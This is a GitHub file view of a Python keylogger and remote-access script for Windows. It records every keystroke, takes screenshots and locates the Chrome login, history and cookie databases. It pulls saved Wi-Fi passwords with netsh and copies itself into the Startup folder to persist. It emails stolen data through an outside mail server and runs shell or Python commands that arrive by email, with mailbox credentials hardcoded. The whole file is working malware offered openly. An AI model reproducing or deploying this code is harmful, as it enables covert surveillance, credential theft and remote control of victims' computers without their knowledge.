-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeylogger.py
276 lines (241 loc) · 9.9 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
import smtplib
import imaplib
from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from os import getcwd, path
from subprocess import check_output
from time import sleep
import pyscreeze
import keyboard
ID = 1
SENDING_INTERVAL = 90
SENDER = "[email protected]"
RECEIVERS = ["[email protected]"]
PASSWORD = "F9wQ!jHUp5"
global log
log = ""
typed_string = ""
def logprint(text, overwrite=False):
global log
print(text)
if overwrite:
log = text
else:
log += text
def on_press(event):
global typed_string
logprint(f"{event.time}:Key {event.name} pressed (Code:{event.scan_code})\n")
event_dict = {"space": " ",
"enter": "\n",
"tab": "\t",
"backspace": "\b",
"unknown": f"[Code {event.scan_code}]"}
if len(event.name) > 1:
if event.name in event_dict.keys():
name = event_dict[event.name]
# elif event.name == "unknown":
# name = f"[Code {event.code}]"
else:
name = f"[{event.name.title()}]"
else:
name = event.name
typed_string += f"{name}"
def get_chrome_data():
'''Returns a list with the respective paths of the login, history and cookie SQL databases'''
try:
logprint("INFO: Attempting to retrieve chrome data...\n")
data_path = path.expanduser('~').replace(
"\\", '/') + "/AppData/Local/Google/Chrome/User Data/Default"
login_db_path = path.join(data_path, 'Login Data')
history_db_path = path.join(data_path, 'History')
cookie_db_path = path.join(data_path, 'Cookies')
except Exception as e:
error_text = (
f"ERROR: An error occured during retrieval. see traceback below:\n{type(e)}\n{str(e)}\n")
logprint(error_text)
else:
logprint("INFO: Successfully retrieved chrome data.\n")
return [login_db_path, history_db_path, cookie_db_path]
def get_wifi_data():
''' Returns a list of all known wifi credentials'''
try:
logprint("INFO: Attempting to retrieve wifi data...\n")
data = check_output(['netsh', 'wlan', 'show', 'profiles'
]).decode('utf-8',
errors="backslashreplace").split('\n')
profiles = [
i.split(":")[1][1:-1] for i in data
if "Profil Tous les utilisateurs" in i
]
credentials_list = []
for i in profiles:
results = check_output([
'netsh', 'wlan', 'show', 'profile', i, 'key=clear'
]).decode('utf-8', errors="backslashreplace").split('\n')
results = [
b.split(":")[1][1:-1] for b in results if "Contenu de la cl" in b
]
credential_set = {"ESSID": "", "Key": ""}
credential_set["ESSID"] = f"{i.strip()}"
try:
credential_set["Key"] = f"{results[0]}"
except IndexError:
credential_set["Key"] = "[Unknown]"
finally:
credentials_list.append(credential_set)
file_path = "{}/wifi.json".format(
path.expanduser('~').replace('\\', '/'))
logprint(f"INFO: Writing data to {file_path}\n")
with open(file_path, "w") as file:
file.write(credentials_list)
except Exception as e:
error_text = (
f"ERROR: An error occured during retrieval. see traceback below:\n{type(e)}\n{str(e)}\n")
logprint(error_text)
else:
logprint("INFO: Successfully retrieved wifi data.\n")
return [file_path]
def take_screenshot():
'''Takes a screenshot of the victim's session and return its file path'''
screenshot = pyscreeze.screenshot('ico.png')
return [getcwd(screenshot)]
def make_persistent():
'''Adds program to Startup Files, making it persist after reboots.'''
logprint("INFO: Attempting to become persistent...\n")
current_file_path = "{}/{}".format(getcwd().replace('\\',
'/'), __file__)
new_file_path = "{}/{}".format(path.expanduser('~').replace(
'\\', '/'), "AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup")
try:
command_output = check_output(
f"cp {current_file_path} {new_file_path}")
except:
logprint("ERROR: cp command failed, see output below.\n")
logprint(command_output)
logprint("Warning: Persistence operation failed.\n")
else:
logprint("INFO: Successfully made program persistent\n")
def run_command_order(email_body):
logprint(f"INFO: Command text is as follows, scraping:{email_body}\n")
# Extract the list
command_order = email_body.partition('[')
command_order = command_order[2]
command_order = command_order.partition(']')
command_order = command_order[0]
command_order = command_order.replace(
'"', '').replace("=3D", "=").split(",")
logprint(f"INFO: Command order is as follows, parsing:{command_order}\n")
if command_order[0] == "script":
logprint("INFO: Detected local command, running accordingly\n")
results = str(exec(f"{command_order[1]}"))
elif command_order[0] == "os":
logprint("INFO: Detected global command, running accordingly\n")
results = check_output(command_order[1].split()).decode(
'utf-8', errors="backslashreplace")
logprint("INFO: Ran given command, sending output.\n")
send_results(
message_text=f'Command order "{command_order}" outputed the following:\n{results}', subject=f"Command output from {ID}\n")
def send_results(message_text="", file_paths=None, subject=f"Report from {ID}"):
print("INFO: Running sending check...\n")
global log, typed_string
if log != "" or message_text != "":
logprint("INFO: New logs detected.\n")
logprint("INFO: Generating e-mail report...\n")
msg = MIMEMultipart()
msg['From'] = SENDER
msg['To'] = ",".join(RECEIVERS)
msg['Subject'] = subject # f"Report from {ID}"
if message_text != "":
body = message_text
else:
body = f"Report:\nLog (since last report):\n{log}\n\n\n\nTyped string(since program launch):\n{typed_string}\n\n\n\n{'Attached files' if file_paths else ''}."
msg.attach(MIMEText(body, 'plain'))
if file_paths:
for file in file_paths:
attachment = open(file, 'rb')
p = MIMEBase('application', 'octet-stream')
p.set_payload((attachment).read())
encoders.encode_base64(p)
p.add_header('Content-Disposition',
f'attachment; filename={file}')
msg.attach(p)
text = msg.as_string()
logprint(
f"INFO: Connecting to SMTP server, with username {SENDER} and PASSWORD {PASSWORD}.\n"
)
try:
server = smtplib.SMTP_SSL('mail.inbox.lv', 465)
server.login(SENDER, PASSWORD)
except Exception as e:
logprint(
f"ERROR: Couldn't connect to server, see error traceback below\n{type(e)}\n{str(e)}\n"
)
logprint(f"ERROR: Mailing failed.\n")
else:
logprint(f"INFO: Successfully connected.\n")
logprint(f"INFO: Sending from {SENDER} to {RECEIVERS}...\n")
try:
server.sendmail(SENDER, RECEIVERS, text)
except Exception as e:
logprint(
f"ERROR: Couldn't send mail, see error traceback below\n{type(e)}\n{str(e)}\n"
)
logprint(f"ERROR: Mailing failed.\n")
else:
logprint("INFO: Mailing successful.\n")
server.quit()
logprint('INFO: Cleared "log" variable.\n')
logprint("", overwrite=True)
else:
print("INFO: No new keyboard input.\n")
def fetch_commands():
print("INFO: Running new command check...\n")
print(
f"INFO: Connecting to IMAP server, with username {SENDER} and PASSWORD {PASSWORD}.\n"
)
try:
server = imaplib.IMAP4_SSL("mail.inbox.lv", 993)
server.login(SENDER, PASSWORD)
except Exception as e:
logprint(
f"ERROR: Couldn't connect to IMAP server, see error traceback below\n{type(e)}\n{str(e)}\n"
)
logprint(f"ERROR: Check failed.\n")
else:
print(f"INFO: Successfully connected.\n")
print(f"INFO: Fetching from {SENDER}...\n")
try:
server.select('INBOX')
_, response = server.search(
None, f'(FROM "{SENDER}" SUBJECT "Command for {ID}" UNSEEN)')
unread_msg_nums = response[0].split()
print(f"INFO: Found {len(unread_msg_nums)} new command emails\n")
if len(unread_msg_nums) == 0:
print("INFO: No commands to run\n")
else:
logprint("INFO: Running only first command\n")
_, response = server.fetch(
unread_msg_nums[0], '(UID BODY[TEXT])')
try:
run_command_order(response[0][1].decode("utf-8"))
except Exception as e:
logprint(
f"ERROR: Couldn't execute mail, see error traceback below\n{type(e)}\n{str(e)}\n")
else:
# Mark it as seen only if command succeeded
server.store(unread_msg_nums[0], '+FLAGS', '\Seen')
except Exception as e:
logprint(
f"ERROR: Couldn't fetch and execute mail, see error traceback below\n{type(e)}\n{str(e)}\n"
)
logprint(f"ERROR: Check failed.\n")
else:
print("INFO: Check successful.\n")
server.close()
keyboard.on_press(on_press)
while 1:
fetch_commands()
sleep(SENDING_INTERVAL)
send_results()